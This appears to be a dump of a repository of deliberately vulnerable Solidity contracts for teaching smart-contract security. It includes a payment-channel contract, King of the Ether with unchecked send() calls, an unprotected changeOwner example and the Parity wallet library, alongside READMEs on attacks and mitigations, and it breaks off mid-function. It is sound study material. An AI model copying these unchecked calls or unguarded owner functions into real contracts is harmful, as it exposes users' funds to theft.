deposit(bytes32 _lcID, address recipient, uint256 _balance, bool isToken) public payable { 458 | require(Channels[_lcID].isOpen == true, "Tried adding funds to a closed channel"); 459 | require(recipient == Channels[_lcID].partyAddresses[0] || recipient == Channels[_lcID].partyAddresses[1]); 460 | 461 | //if(Channels[_lcID].token) 462 | 463 | if (Channels[_lcID].partyAddresses[0] == recipient) { 464 | if(isToken) { 465 | require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); 466 | Channels[_lcID].erc20Balances[2] += _balance; 467 | } else { 468 | require(msg.value == _balance, "state balance does not match sent value"); 469 | Channels[_lcID].ethBalances[2] += msg.value; 470 | } 471 | } 472 | 473 | if (Channels[_lcID].partyAddresses[1] == recipient) { 474 | if(isToken) { 475 | require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); 476 | Channels[_lcID].erc20Balances[3] += _balance; 477 | } else { 478 | require(msg.value == _balance, "state balance does not match sent value"); 479 | Channels[_lcID].ethBalances[3] += msg.value; 480 | } 481 | } 482 | 483 | emit DidLCDeposit(_lcID, recipient, _balance, isToken); 484 | } 485 | 486 | // TODO: Check there are no open virtual channels, the client should have cought this before signing a close LC state update 487 | function consensusCloseChannel( 488 | bytes32 _lcID, 489 | uint256 _sequence, 490 | uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI 491 | string _sigA, 492 | string _sigI 493 | ) 494 | public 495 | { 496 | // assume num open vc is 0 and root hash is 0x0 497 | //require(Channels[_lcID].sequence < _sequence); 498 | require(Channels[_lcID].isOpen == true); 499 | uint256 totalEthDeposit = Channels[_lcID].initialDeposit[0] + Channels[_lcID].ethBalances[2] + Channels[_lcID].ethBalances[3]; 500 | uint256 totalTokenDeposit = Channels[_lcID].initialDeposit[1] + Channels[_lcID].erc20Balances[2] + Channels[_lcID].erc20Balances[3]; 501 | require(totalEthDeposit == _balances[0] + _balances[1]); 502 | require(totalTokenDeposit == _balances[2] + _balances[3]); 503 | 504 | bytes32 _state = keccak256( 505 | abi.encodePacked( 506 | _lcID, 507 | true, 508 | _sequence, 509 | uint256(0), 510 | bytes32(0x0), 511 | Channels[_lcID].partyAddresses[0], 512 | Channels[_lcID].partyAddresses[1], 513 | _balances[0], 514 | _balances[1], 515 | _balances[2], 516 | _balances[3] 517 | ) 518 | ); 519 | 520 | require(Channels[_lcID].partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); 521 | require(Channels[_lcID].partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); 522 | 523 | Channels[_lcID].isOpen = false; 524 | 525 | if(_balances[0] != 0 || _balances[1] != 0) { 526 | Channels[_lcID].partyAddresses[0].transfer(_balances[0]); 527 | Channels[_lcID].partyAddresses[1].transfer(_balances[1]); 528 | } 529 | 530 | if(_balances[2] != 0 || _balances[3] != 0) { 531 | require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], _balances[2]),"happyCloseChannel: token transfer failure"); 532 | require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[1], _balances[3]),"happyCloseChannel: token transfer failure"); 533 | } 534 | 535 | numChannels--; 536 | 537 | emit DidLCClose(_lcID, _sequence, _balances[0], _balances[1], _balances[2], _balances[3]); 538 | } 539 | 540 | // Byzantine functions 541 | 542 | function updateLCstate( 543 | bytes32 _lcID, 544 | uint256[6] updateParams, // [sequence, numOpenVc, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI] 545 | bytes32 _VCroot, 546 | string _sigA, 547 | string _sigI 548 | ) 549 | public 550 | { 551 | Channel storage channel = Channels[_lcID]; 552 | require(channel.isOpen); 553 | require(channel.sequence < updateParams[0]); // do same as vc sequence check 554 | require(channel.ethBalances[0] + channel.ethBalances[1] >= updateParams[2] + updateParams[3]); 555 | require(channel.erc20Balances[0] + channel.erc20Balances[1] >= updateParams[4] + updateParams[5]); 556 | 557 | if(channel.isUpdateLCSettling == true) { 558 | require(channel.updateLCtimeout > now); 559 | } 560 | 561 | bytes32 _state = keccak256( 562 | abi.encodePacked( 563 | _lcID, 564 | false, 565 | updateParams[0], 566 | updateParams[1], 567 | _VCroot, 568 | channel.partyAddresses[0], 569 | channel.partyAddresses[1], 570 | updateParams[2], 571 | updateParams[3], 572 | updateParams[4], 573 | updateParams[5] 574 | ) 575 | ); 576 | 577 | require(channel.partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); 578 | require(channel.partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); 579 | 580 | // update LC state 581 | channel.sequence = updateParams[0]; 582 | channel.numOpenVC = updateParams[1]; 583 | channel.ethBalances[0] = updateParams[2]; 584 | channel.ethBalances[1] = updateParams[3]; 585 | channel.erc20Balances[0] = updateParams[4]; 586 | channel.erc20Balances[1] = updateParams[5]; 587 | channel.VCrootHash = _VCroot; 588 | channel.isUpdateLCSettling = true; 589 | channel.updateLCtimeout = now + channel.confirmTime; 590 | 591 | // make settlement flag 592 | 593 | emit DidLCUpdateState ( 594 | _lcID, 595 | updateParams[0], 596 | updateParams[1], 597 | updateParams[2], 598 | updateParams[3], 599 | updateParams[4], 600 | updateParams[5], 601 | _VCroot, 602 | channel.updateLCtimeout 603 | ); 604 | } 605 | 606 | // supply initial state of VC to "prime" the force push game 607 | function initVCstate( 608 | bytes32 _lcID, 609 | bytes32 _vcID, 610 | bytes _proof, 611 | address _partyA, 612 | address _partyB, 613 | uint256[2] _bond, 614 | uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI 615 | string sigA 616 | ) 617 | public 618 | { 619 | require(Channels[_lcID].isOpen, "LC is closed."); 620 | // sub-channel must be open 621 | require(!virtualChannels[_vcID].isClose, "VC is closed."); 622 | // Check time has passed on updateLCtimeout and has not passed the time to store a vc state 623 | require(Channels[_lcID].updateLCtimeout < now, "LC timeout not over."); 624 | // prevent rentry of initializing vc state 625 | require(virtualChannels[_vcID].updateVCtimeout == 0); 626 | // partyB is now Ingrid 627 | bytes32 _initState = keccak256( 628 | abi.encodePacked(_vcID, uint256(0), _partyA, _partyB, _bond[0], _bond[1], _balances[0], _balances[1], _balances[2], _balances[3]) 629 | ); 630 | 631 | // Make sure Alice has signed initial vc state (A/B in oldState) 632 | require(_partyA == ECTools.recoverSigner(_initState, sigA)); 633 | 634 | // Check the oldState is in the root hash 635 | require(_isContained(_initState, _proof, Channels[_lcID].VCrootHash) == true); 636 | 637 | virtualChannels[_vcID].partyA = _partyA; // VC participant A 638 | virtualChannels[_vcID].partyB = _partyB; // VC participant B 639 | virtualChannels[_vcID].sequence = uint256(0); 640 | virtualChannels[_vcID].ethBalances[0] = _balances[0]; 641 | virtualChannels[_vcID].ethBalances[1] = _balances[1]; 642 | virtualChannels[_vcID].erc20Balances[0] = _balances[2]; 643 | virtualChannels[_vcID].erc20Balances[1] = _balances[3]; 644 | virtualChannels[_vcID].bond = _bond; 645 | virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; 646 | virtualChannels[_vcID].isInSettlementState = true; 647 | 648 | emit DidVCInit(_lcID, _vcID, _proof, uint256(0), _partyA, _partyB, _balances[0], _balances[1]); 649 | } 650 | 651 | //TODO: verify state transition since the hub did not agree to this state 652 | // make sure the A/B balances are not beyond ingrids bonds 653 | // Params: vc init state, vc final balance, vcID 654 | function settleVC( 655 | bytes32 _lcID, 656 | bytes32 _vcID, 657 | uint256 updateSeq, 658 | address _partyA, 659 | address _partyB, 660 | uint256[4] updateBal, // [ethupdateBalA, ethupdateBalB, tokenupdateBalA, tokenupdateBalB] 661 | string sigA 662 | ) 663 | public 664 | { 665 | require(Channels[_lcID].isOpen, "LC is closed."); 666 | // sub-channel must be open 667 | require(!virtualChannels[_vcID].isClose, "VC is closed."); 668 | require(virtualChannels[_vcID].sequence < updateSeq, "VC sequence is higher than update sequence."); 669 | require( 670 | virtualChannels[_vcID].ethBalances[1] < updateBal[1] && virtualChannels[_vcID].erc20Balances[1] < updateBal[3], 671 | "State updates may only increase recipient balance." 672 | ); 673 | require( 674 | virtualChannels[_vcID].bond[0] == updateBal[0] + updateBal[1] && 675 | virtualChannels[_vcID].bond[1] == updateBal[2] + updateBal[3], 676 | "Incorrect balances for bonded amount"); 677 | // Check time has passed on updateLCtimeout and has not passed the time to store a vc state 678 | // virtualChannels[_vcID].updateVCtimeout should be 0 on uninitialized vc state, and this should 679 | // fail if initVC() isn't called first 680 | // require(Channels[_lcID].updateLCtimeout < now && now < virtualChannels[_vcID].updateVCtimeout); 681 | require(Channels[_lcID].updateLCtimeout < now); // for testing! 682 | 683 | bytes32 _updateState = keccak256( 684 | abi.encodePacked( 685 | _vcID, 686 | updateSeq, 687 | _partyA, 688 | _partyB, 689 | virtualChannels[_vcID].bond[0], 690 | virtualChannels[_vcID].bond[1], 691 | updateBal[0], 692 | updateBal[1], 693 | updateBal[2], 694 | updateBal[3] 695 | ) 696 | ); 697 | 698 | // Make sure Alice has signed a higher sequence new state 699 | require(virtualChannels[_vcID].partyA == ECTools.recoverSigner(_updateState, sigA)); 700 | 701 | // store VC data 702 | // we may want to record who is initiating on-chain settles 703 | virtualChannels[_vcID].challenger = msg.sender; 704 | virtualChannels[_vcID].sequence = updateSeq; 705 | 706 | // channel state 707 | virtualChannels[_vcID].ethBalances[0] = updateBal[0]; 708 | virtualChannels[_vcID].ethBalances[1] = updateBal[1]; 709 | virtualChannels[_vcID].erc20Balances[0] = updateBal[2]; 710 | virtualChannels[_vcID].erc20Balances[1] = updateBal[3]; 711 | 712 | virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; 713 | 714 | emit DidVCSettle(_lcID, _vcID, updateSeq, updateBal[0], updateBal[1], msg.sender, virtualChannels[_vcID].updateVCtimeout); 715 | } 716 | 717 | function closeVirtualChannel(bytes32 _lcID, bytes32 _vcID) public { 718 | // require(updateLCtimeout > now) 719 | require(Channels[_lcID].isOpen, "LC is closed."); 720 | require(virtualChannels[_vcID].isInSettlementState, "VC is not in settlement state."); 721 | require(virtualChannels[_vcID].updateVCtimeout < now, "Update vc timeout has not elapsed."); 722 | require(!virtualChannels[_vcID].isClose, "VC is already closed"); 723 | // reduce the number of open virtual channels stored on LC 724 | Channels[_lcID].numOpenVC--; 725 | // close vc flags 726 | virtualChannels[_vcID].isClose = true; 727 | // re-introduce the balances back into the LC state from the settled VC 728 | // decide if this lc is alice or bob in the vc 729 | if(virtualChannels[_vcID].partyA == Channels[_lcID].partyAddresses[0]) { 730 | Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[0]; 731 | Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[1]; 732 | 733 | Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[0]; 734 | Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[1]; 735 | } else if (virtualChannels[_vcID].partyB == Channels[_lcID].partyAddresses[0]) { 736 | Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[1]; 737 | Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[0]; 738 | 739 | Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[1]; 740 | Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[0]; 741 | } 742 | 743 | emit DidVCClose(_lcID, _vcID, virtualChannels[_vcID].erc20Balances[0], virtualChannels[_vcID].erc20Balances[1]); 744 | } 745 | 746 | 747 | // todo: allow ethier lc.end-user to nullify the settled LC state and return to off-chain 748 | function byzantineCloseChannel(bytes32 _lcID) public { 749 | Channel storage channel = Channels[_lcID]; 750 | 751 | // check settlement flag 752 | require(channel.isOpen, "Channel is not open"); 753 | require(channel.isUpdateLCSettling == true); 754 | require(channel.numOpenVC == 0); 755 | require(channel.updateLCtimeout < now, "LC timeout over."); 756 | 757 | // if off chain state update didnt reblance deposits, just return to deposit owner 758 | uint256 totalEthDeposit = channel.initialDeposit[0] + channel.ethBalances[2] + channel.ethBalances[3]; 759 | uint256 totalTokenDeposit = channel.initialDeposit[1] + channel.erc20Balances[2] + channel.erc20Balances[3]; 760 | 761 | uint256 possibleTotalEthBeforeDeposit = channel.ethBalances[0] + channel.ethBalances[1]; 762 | uint256 possibleTotalTokenBeforeDeposit = channel.erc20Balances[0] + channel.erc20Balances[1]; 763 | 764 | if(possibleTotalEthBeforeDeposit < totalEthDeposit) { 765 | channel.ethBalances[0]+=channel.ethBalances[2]; 766 | channel.ethBalances[1]+=channel.ethBalances[3]; 767 | } else { 768 | require(possibleTotalEthBeforeDeposit == totalEthDeposit); 769 | } 770 | 771 | if(possibleTotalTokenBeforeDeposit < totalTokenDeposit) { 772 | channel.erc20Balances[0]+=channel.erc20Balances[2]; 773 | channel.erc20Balances[1]+=channel.erc20Balances[3]; 774 | } else { 775 | require(possibleTotalTokenBeforeDeposit == totalTokenDeposit); 776 | } 777 | 778 | // reentrancy 779 | uint256 ethbalanceA = channel.ethBalances[0]; 780 | uint256 ethbalanceI = channel.ethBalances[1]; 781 | uint256 tokenbalanceA = channel.erc20Balances[0]; 782 | uint256 tokenbalanceI = channel.erc20Balances[1]; 783 | 784 | channel.ethBalances[0] = 0; 785 | channel.ethBalances[1] = 0; 786 | channel.erc20Balances[0] = 0; 787 | channel.erc20Balances[1] = 0; 788 | 789 | if(ethbalanceA != 0 || ethbalanceI != 0) { 790 | channel.partyAddresses[0].transfer(ethbalanceA); 791 | channel.partyAddresses[1].transfer(ethbalanceI); 792 | } 793 | 794 | if(tokenbalanceA != 0 || tokenbalanceI != 0) { 795 | require( 796 | channel.token.transfer(channel.partyAddresses[0], tokenbalanceA), 797 | "byzantineCloseChannel: token transfer failure" 798 | ); 799 | require( 800 | channel.token.transfer(channel.partyAddresses[1], tokenbalanceI), 801 | "byzantineCloseChannel: token transfer failure" 802 | ); 803 | } 804 | 805 | channel.isOpen = false; 806 | numChannels--; 807 | 808 | emit DidLCClose(_lcID, channel.sequence, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI); 809 | } 810 | 811 | function _isContained(bytes32 _hash, bytes _proof, bytes32 _root) internal pure returns (bool) { 812 | bytes32 cursor = _hash; 813 | bytes32 proofElem; 814 | 815 | for (uint256 i = 64; i <= _proof.length; i += 32) { 816 | assembly { proofElem := mload(add(_proof, i)) } 817 | 818 | if (cursor < proofElem) { 819 | cursor = keccak256(abi.encodePacked(cursor, proofElem)); 820 | } else { 821 | cursor = keccak256(abi.encodePacked(proofElem, cursor)); 822 | } 823 | } 824 | 825 | return cursor == _root; 826 | } 827 | 828 | //Struct Getters 829 | function getChannel(bytes32 id) public view returns ( 830 | address[2], 831 | uint256[4], 832 | uint256[4], 833 | uint256[2], 834 | uint256, 835 | uint256, 836 | bytes32, 837 | uint256, 838 | uint256, 839 | bool, 840 | bool, 841 | uint256 842 | ) { 843 | Channel memory channel = Channels[id]; 844 | return ( 845 | channel.partyAddresses, 846 | channel.ethBalances, 847 | channel.erc20Balances, 848 | channel.initialDeposit, 849 | channel.sequence, 850 | channel.confirmTime, 851 | channel.VCrootHash, 852 | channel.LCopenTimeout, 853 | channel.updateLCtimeout, 854 | channel.isOpen, 855 | channel.isUpdateLCSettling, 856 | channel.numOpenVC 857 | ); 858 | } 859 | 860 | function getVirtualChannel(bytes32 id) public view returns( 861 | bool, 862 | bool, 863 | uint256, 864 | address, 865 | uint256, 866 | address, 867 | address, 868 | address, 869 | uint256[2], 870 | uint256[2], 871 | uint256[2] 872 | ) { 873 | VirtualChannel memory virtualChannel = virtualChannels[id]; 874 | return( 875 | virtualChannel.isClose, 876 | virtualChannel.isInSettlementState, 877 | virtualChannel.sequence, 878 | virtualChannel.challenger, 879 | virtualChannel.updateVCtimeout, 880 | virtualChannel.partyA, 881 | virtualChannel.partyB, 882 | virtualChannel.partyI, 883 | virtualChannel.ethBalances, 884 | virtualChannel.erc20Balances, 885 | virtualChannel.bond 886 | ); 887 | } 888 | } 889 | -------------------------------------------------------------------------------- /unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol: -------------------------------------------------------------------------------- 1 | // A chain-game contract that maintains a 'throne' which agents may pay to rule. 2 | // See www.kingoftheether.com & https://github.com/kieranelby/KingOfTheEtherThrone . 3 | // (c) Kieran Elby 2016. All rights reserved. 4 | // v0.4.0. 5 | // Inspired by ethereumpyramid.com and the (now-gone?) "magnificent bitcoin gem". 6 | 7 | // This contract lives on the blockchain at 0xb336a86e2feb1e87a328fcb7dd4d04de3df254d0 8 | // and was compiled (using optimization) with: 9 | // Solidity version: 0.2.1-fad2d4df/.-Emscripten/clang/int linked to libethereum 10 | 11 | // For future versions it would be nice to ... 12 | // TODO - enforce time-limit on reign (can contracts do that without external action)? 13 | // TODO - add a random reset? 14 | // TODO - add bitcoin bridge so agents can pay in bitcoin? 15 | // TODO - maybe allow different return payment address? 16 | pragma solidity ^0.4.19; 17 | 18 | contract KingOfTheEtherThrone { 19 | 20 | struct Monarch { 21 | // Address to which their compensation will be sent. 22 | address etherAddress; 23 | // A name by which they wish to be known. 24 | // NB: Unfortunately "string" seems to expose some bugs in web3. 25 | string name; 26 | // How much did they pay to become monarch? 27 | uint claimPrice; 28 | // When did their rule start (based on block.timestamp)? 29 | uint coronationTimestamp; 30 | } 31 | 32 | // The wizard is the hidden power behind the throne; they 33 | // occupy the throne during gaps in succession and collect fees. 34 | address wizardAddress; 35 | 36 | // Used to ensure only the wizard can do some things. 37 | modifier onlywizard { if (msg.sender == wizardAddress) _; } 38 | 39 | // How much must the first monarch pay? 40 | uint constant startingClaimPrice = 100 finney; 41 | 42 | // The next claimPrice is calculated from the previous claimFee 43 | // by multiplying by claimFeeAdjustNum and dividing by claimFeeAdjustDen - 44 | // for example, num=3 and den=2 would cause a 50% increase. 45 | uint constant claimPriceAdjustNum = 3; 46 | uint constant claimPriceAdjustDen = 2; 47 | 48 | // How much of each claimFee goes to the wizard (expressed as a fraction)? 49 | // e.g. num=1 and den=100 would deduct 1% for the wizard, leaving 99% as 50 | // the compensation fee for the usurped monarch. 51 | uint constant wizardCommissionFractionNum = 1; 52 | uint constant wizardCommissionFractionDen = 100; 53 | 54 | // How much must an agent pay now to become the monarch? 55 | uint public currentClaimPrice; 56 | 57 | // The King (or Queen) of the Ether. 58 | Monarch public currentMonarch; 59 | 60 | // Earliest-first list of previous throne holders. 61 | Monarch[] public pastMonarchs; 62 | 63 | // Create a new throne, with the creator as wizard and first ruler. 64 | // Sets up some hopefully sensible defaults. 65 | function KingOfTheEtherThrone() { 66 | wizardAddress = msg.sender; 67 | currentClaimPrice = startingClaimPrice; 68 | currentMonarch = Monarch( 69 | wizardAddress, 70 | "[Vacant]", 71 | 0, 72 | block.timestamp 73 | ); 74 | } 75 | 76 | function numberOfMonarchs() constant returns (uint n) { 77 | return pastMonarchs.length; 78 | } 79 | 80 | // Fired when the throne is claimed. 81 | // In theory can be used to help build a front-end. 82 | event ThroneClaimed( 83 | address usurperEtherAddress, 84 | string usurperName, 85 | uint newClaimPrice 86 | ); 87 | 88 | // Fallback function - simple transactions trigger this. 89 | // Assume the message data is their desired name. 90 | function() { 91 | claimThrone(string(msg.data)); 92 | } 93 | 94 | // Claim the throne for the given name by paying the currentClaimFee. 95 | function claimThrone(string name) { 96 | 97 | uint valuePaid = msg.value; 98 | 99 | // If they paid too little, reject claim and refund their money. 100 | if (valuePaid < currentClaimPrice) { 101 | msg.sender.send(valuePaid); 102 | return; 103 | } 104 | 105 | // If they paid too much, continue with claim but refund the excess. 106 | if (valuePaid > currentClaimPrice) { 107 | uint excessPaid = valuePaid - currentClaimPrice; 108 | msg.sender.send(excessPaid); 109 | valuePaid = valuePaid - excessPaid; 110 | } 111 | 112 | // The claim price payment goes to the current monarch as compensation 113 | // (with a commission held back for the wizard). We let the wizard's 114 | // payments accumulate to avoid wasting gas sending small fees. 115 | 116 | uint wizardCommission = (valuePaid * wizardCommissionFractionNum) / wizardCommissionFractionDen; 117 | 118 | uint compensation = valuePaid - wizardCommission; 119 | 120 | if (currentMonarch.etherAddress != wizardAddress) { 121 | currentMonarch.etherAddress.send(compensation); 122 | } else { 123 | // When the throne is vacant, the fee accumulates for the wizard. 124 | } 125 | 126 | // Usurp the current monarch, replacing them with the new one. 127 | pastMonarchs.push(currentMonarch); 128 | currentMonarch = Monarch( 129 | msg.sender, 130 | name, 131 | valuePaid, 132 | block.timestamp 133 | ); 134 | 135 | // Increase the claim fee for next time. 136 | // Stop number of trailing decimals getting silly - we round it a bit. 137 | uint rawNewClaimPrice = currentClaimPrice * claimPriceAdjustNum / claimPriceAdjustDen; 138 | if (rawNewClaimPrice < 10 finney) { 139 | currentClaimPrice = rawNewClaimPrice; 140 | } else if (rawNewClaimPrice < 100 finney) { 141 | currentClaimPrice = 100 szabo * (rawNewClaimPrice / 100 szabo); 142 | } else if (rawNewClaimPrice < 1 ether) { 143 | currentClaimPrice = 1 finney * (rawNewClaimPrice / 1 finney); 144 | } else if (rawNewClaimPrice < 10 ether) { 145 | currentClaimPrice = 10 finney * (rawNewClaimPrice / 10 finney); 146 | } else if (rawNewClaimPrice < 100 ether) { 147 | currentClaimPrice = 100 finney * (rawNewClaimPrice / 100 finney); 148 | } else if (rawNewClaimPrice < 1000 ether) { 149 | currentClaimPrice = 1 ether * (rawNewClaimPrice / 1 ether); 150 | } else if (rawNewClaimPrice < 10000 ether) { 151 | currentClaimPrice = 10 ether * (rawNewClaimPrice / 10 ether); 152 | } else { 153 | currentClaimPrice = rawNewClaimPrice; 154 | } 155 | 156 | // Hail the new monarch! 157 | ThroneClaimed(currentMonarch.etherAddress, currentMonarch.name, currentClaimPrice); 158 | } 159 | 160 | // Used only by the wizard to collect his commission. 161 | function sweepCommission(uint amount) onlywizard { 162 | wizardAddress.send(amount); 163 | } 164 | 165 | // Used only by the wizard to collect his commission. 166 | function transferOwnership(address newOwner) onlywizard { 167 | wizardAddress = newOwner; 168 | } 169 | 170 | } 171 | -------------------------------------------------------------------------------- /unchecked_external_call/README.md: -------------------------------------------------------------------------------- 1 | # Unchecked External Call 2 | 3 | Certain Solidity operations known as "external calls", require the developer to manually ensure that the operation succeeded. This is in contrast to operations which throw an exception on failure. If an external call fails, but is not checked, the contract will continue execution as if the call succeeded. This will likely result in buggy and potentially exploitable behavior from the contract. 4 | 5 | ## Attack 6 | 7 | - A contract uses an unchecked `address.send()` external call to transfer Ether. 8 | - If it transfers Ether to an attacker contract, the attacker contract can reliably cause the external call to fail, for example, with a fallback function which intentionally runs out of gas. 9 | - The consequences of this external call failing will be contract specific. 10 | - In the case of the King of the Ether contract, this resulted in accidental loss of Ether for some contract users, due to refunds not being sent. 11 | 12 | ## Mitigation 13 | 14 | - Manually perform validation when making external calls 15 | - Use `address.transfer()` 16 | 17 | ## Example 18 | 19 | - [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: 20 | [100](KotET_source_code/KingOfTheEtherThrone.sol#L100), 21 | [107](KotET_source_code/KingOfTheEtherThrone.sol#L107), 22 | [120](KotET_source_code/KingOfTheEtherThrone.sol#L120), 23 | [161](KotET_source_code/KingOfTheEtherThrone.sol#L161)) 24 | 25 | ## References 26 | 27 | - http://solidity.readthedocs.io/en/develop/security-considerations.html 28 | - http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses 29 | - https://github.com/ConsenSys/smart-contract-best-practices#handle-errors-in-external-calls 30 | - https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ 31 | -------------------------------------------------------------------------------- /unprotected_function/README.md: -------------------------------------------------------------------------------- 1 | # Unprotected function 2 | Missing (or incorrectly used) modifier on a function allows an attacker to use sensitive functionality in the contract. 3 | 4 | ## Attack Scenario 5 | 6 | A contract with a `changeOwner` function does not label it as `private` and therefore 7 | allows anyone to become the contract owner. 8 | 9 | ## Mitigations 10 | 11 | Always specify a modifier for functions. 12 | 13 | ## Examples 14 | - An `onlyOwner` modifier is [defined but not used](Unprotected.sol), allowing anyone to become the `owner` 15 | - April 2016: [Rubixi allows anyone to become owner](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) 16 | - July 2017: [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) 17 | - BitGo Wallet v2 allows anyone to call tryInsertSequenceId. If you try close to MAXINT, no further transactions would be allowed. [Fix: make tryInsertSequenceId private.](https://github.com/BitGo/eth-multisig-v2/commit/8042188f08c879e06f097ae55c140e0aa7baaff8#diff-b498cc6fd64f83803c260abd8de0a8f5) 18 | - Feb 2020: [Nexus Mutual's Oraclize callback was unprotected—allowing anyone to call it.](https://medium.com/nexus-mutual/responsible-vulnerability-disclosure-ece3fe3bcefa) Oraclize triggers a rebalance to occur via Uniswap. 19 | -------------------------------------------------------------------------------- /unprotected_function/Unprotected.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract Unprotected{ 4 | address private owner; 5 | 6 | modifier onlyowner { 7 | require(msg.sender==owner); 8 | _; 9 | } 10 | 11 | function Unprotected() 12 | public 13 | { 14 | owner = msg.sender; 15 | } 16 | 17 | // This function should be protected 18 | function changeOwner(address _newOwner) 19 | public 20 | { 21 | owner = _newOwner; 22 | } 23 | 24 | function changeOwner_fixed(address _newOwner) 25 | public 26 | onlyowner 27 | { 28 | owner = _newOwner; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /unprotected_function/WalletLibrary_source_code/WalletLibrary.sol: -------------------------------------------------------------------------------- 1 | // 0xa657491c1e7f16adb39b9b60e87bbb8d93988bc3#code 2 | //sol Wallet 3 | // Multi-sig, daily-limited account proxy/wallet. 4 | // @authors: 5 | // Gav Wood 6 | // inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a 7 | // single, or, crucially, each of a number of, designated owners. 8 | // usage: 9 | // use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by 10 | // some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the 11 | // interior is executed. 12 | 13 | pragma solidity ^0.4.9; 14 | 15 | contract WalletEvents { 16 | // EVENTS 17 | 18 | // this contract only has six types of events: it can accept a confirmation, in which case 19 | // we record owner and operation (hash) alongside it. 20 | event Confirmation(address owner, bytes32 operation); 21 | event Revoke(address owner, bytes32 operation); 22 | 23 | // some others are in the case of an owner changing. 24 | event OwnerChanged(address oldOwner, address newOwner); 25 | event OwnerAdded(address newOwner); 26 | event OwnerRemoved(address oldOwner); 27 | 28 | // the last one is emitted if the required signatures change 29 | event RequirementChanged(uint newRequirement); 30 | 31 | // Funds has arrived into the wallet (record how much). 32 | event Deposit(address _from, uint value); 33 | // Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going). 34 | event SingleTransact(address owner, uint value, address to, bytes data, address created); 35 | // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going). 36 | event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created); 37 | // Confirmation still needed for a transaction. 38 | event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data); 39 | } 40 | 41 | contract WalletAbi { 42 | // Revokes a prior confirmation of the given operation 43 | function revoke(bytes32 _operation) external; 44 | 45 | // Replaces an owner `_from` with another `_to`. 46 | function changeOwner(address _from, address _to) external; 47 | 48 | function addOwner(address _owner) external; 49 | 50 | function removeOwner(address _owner) external; 51 | 52 | function changeRequirement(uint _newRequired) external; 53 | 54 | function isOwner(address _addr) constant returns (bool); 55 | 56 | function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool); 57 | 58 | // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. 59 | function setDailyLimit(uint _newLimit) external; 60 | 61 | function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash); 62 | function confirm(bytes32 _h) returns (bool o_success); 63 | } 64 | 65 | contract WalletLibrary is WalletEvents { 66 | // TYPES 67 | 68 | // struct for the status of a pending operation. 69 | struct PendingState { 70 | uint yetNeeded; 71 | uint ownersDone; 72 | uint index; 73 | } 74 | 75 | // Transaction structure to remember details of transaction lest it need be saved for a later call. 76 | struct Transaction { 77 | address to; 78 | uint value; 79 | bytes data; 80 | } 81 | 82 | // MODIFIERS 83 | 84 | // simple single-sig function modifier. 85 | modifier onlyowner { 86 | if (isOwner(msg.sender)) 87 | _; 88 | } 89 | // multi-sig function modifier: the operation must have an intrinsic hash in order 90 | // that later attempts can be realised as the same underlying operation and 91 | // thus count as confirmations. 92 | modifier onlymanyowners(bytes32 _operation) { 93 | if (confirmAndCheck(_operation)) 94 | _; 95 | } 96 | 97 | // METHODS 98 | 99 | // gets called when no other function matches 100 | function() payable { 101 | // just being sent some cash? 102 | if (msg.value > 0) 103 | Deposit(msg.sender, msg.value); 104 | } 105 | 106 | // constructor is given number of sigs required to do protected "onlymanyowners" transactions 107 | // as well as the selection of addresses capable of confirming them. 108 | function initMultiowned(address[] _owners, uint _required) { 109 | m_numOwners = _owners.length + 1; 110 | m_owners[1] = uint(msg.sender); 111 | m_ownerIndex[uint(msg.sender)] = 1; 112 | for (uint i = 0; i < _owners.length; ++i) 113 | { 114 | m_owners[2 + i] = uint(_owners[i]); 115 | m_ownerIndex[uint(_owners[i])] = 2 + i; 116 | } 117 | m_required = _required; 118 | } 119 | 120 | // Revokes a prior confirmation of the given operation 121 | function revoke(bytes32 _operation) external { 122 | uint ownerIndex = m_ownerIndex[uint(msg.sender)]; 123 | // make sure they're an owner 124 | if (ownerIndex == 0) return; 125 | uint ownerIndexBit = 2**ownerIndex; 126 | var pending = m_pending[_operation]; 127 